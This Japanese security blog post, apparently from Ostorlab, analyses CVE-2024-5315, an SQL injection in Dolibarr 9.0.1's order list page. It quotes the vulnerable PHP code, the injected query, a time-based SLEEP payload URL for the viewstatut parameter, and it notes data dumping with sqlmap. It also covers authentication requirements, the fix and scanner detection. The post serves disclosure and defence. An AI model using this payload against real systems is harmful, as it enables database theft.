CVE-2024-5315 DolibarrのSQLインジェクションの調査
CVE-2024-5315は、実際に悪用されているDolibarrのSQLインジェクションで、修正済みバージョンが誤って伝えられていました。
2024年5月24日、INCIBEは、オープンソースの企業管理システム(ERP/CRM)であるDolibarr、具体的にはバージョン9.0.1に影響する、重大度がクリティカルの脆弱性の公開を調整しました。この脆弱性はRafael Pedrero氏によって発見されました。
Ostorlabでは、当社のスキャナーに検出機能を追加することで、この問題に迅速に対応しました。しかし、INCIBEからは脆弱性の悪用方法や修正済みバージョンについての明確な詳細が公開されていませんでした。さらに、コミュニティの投稿では、修正済みバージョンが9.0.2であると誤って記載されていました。そこで当社は独自に調査を行うことにしました。
脆弱性の特定
脆弱なコードはファイルhtdocs/commande/list.phpにあり、viewstatutパラメーターが一切の検証なしにSQLクエリに直接注入されています。
$viewstatut = GETPOST('viewstatut')
if ($viewstatut < 4 && $viewstatut > -3) { if ($viewstatut == 1 && empty($conf->expedition->enabled)){
$sql .= ' AND c.fk_statut IN (1,2)'; // If module expedition disabled, include orders with status 'sending in process' into 'validated'
}
else{
$sql .= ' AND c.fk_statut = ' . $viewstatut;
}
$resql = $db->query($sql);
必要な権限:
脆弱性の公開者は、このSQLインジェクションを悪用するために必要な権限を明記していませんでした。一部の記事では、認証不要のSQLインジェクションであると主張されています。しかし、脆弱なエンドポイントを調査したところ、requires ../main.inc.phpとなっており、クライアントがすでに認証済みかどうかを検証していることが分かりました。

概念実証(PoC):
脆弱なバージョンのDolibarrをローカルにセットアップした後、脆弱性の存在を実証することができました。
まず、入力がSQLクエリにどのように反映されるかを見てみましょう。
当社が/commande/list.php?viewstatut=testinjectionをリクエストした後、実行直前に傍受した最終的なクエリは次のとおりです。
SELECT s.rowid as socid, s.nom as name, s.email, s.town, s.zip, s.fk_pays,
s.client, s.code_client, typent.code as typent_code, state.code_departement
as state_code, state.nom as state_name, c.rowid, c.ref, c.total_ht,
c.tva astotal_tva, c.total_ttc, c.ref_client, c.date_valid, c.date_commande,
c.note_private, c.date_livraison as date_delivery, c.fk_statut,
c.facture as billed, c.date_creation as date_creation, c.tms as date_update,
p.rowid as project_id, p.ref as project_ref FROM llx_societe as s
LEFT JOIN llx_c_country as country on (country.rowid = s.fk_pays) LEFT JOIN
llx_c_typent as typent on (typent.id = s.fk_typent) LEFT JOIN
llx_c_departements as state on (state.rowid = s.fk_departement), llx_commande
as c LEFT JOIN llx_projet as p ON p.rowid = c.fk_projet WHERE c.fk_soc = s.rowid
AND c.entity IN (1) AND c.fk_statut = testinjection ORDER BY c.ref DESC LIMIT 26
最終的なクエリに直接注入できることはすでに分かっているため、クエリが問題なく実行されることを検証します。
時間ベースの検出:
テスト中に、サーバー側で遅延を発生させるペイロードを作成することに成功しました。 リクエストしたURLは次のとおりです。
http://localhost/commande/list.php?viewstatut=(SELECT%204498%20FROM%20(SELECT(SLEEP(0)))AgKS)

悪用:
SQLMAPを使って、データベースから直接データをダンプすることができました。


修正済みバージョン
元の公開者は修正済みバージョンについて言及していませんでした。当社は脆弱なファイルを追跡し、このパッチのコミットで修正を見つけました。

組織を守るために
OstorlabのオープンソースのKEVプロジェクトは、脆弱なインスタンスを特定するための検出機能を追加しました。プロジェクトはこちらにあります。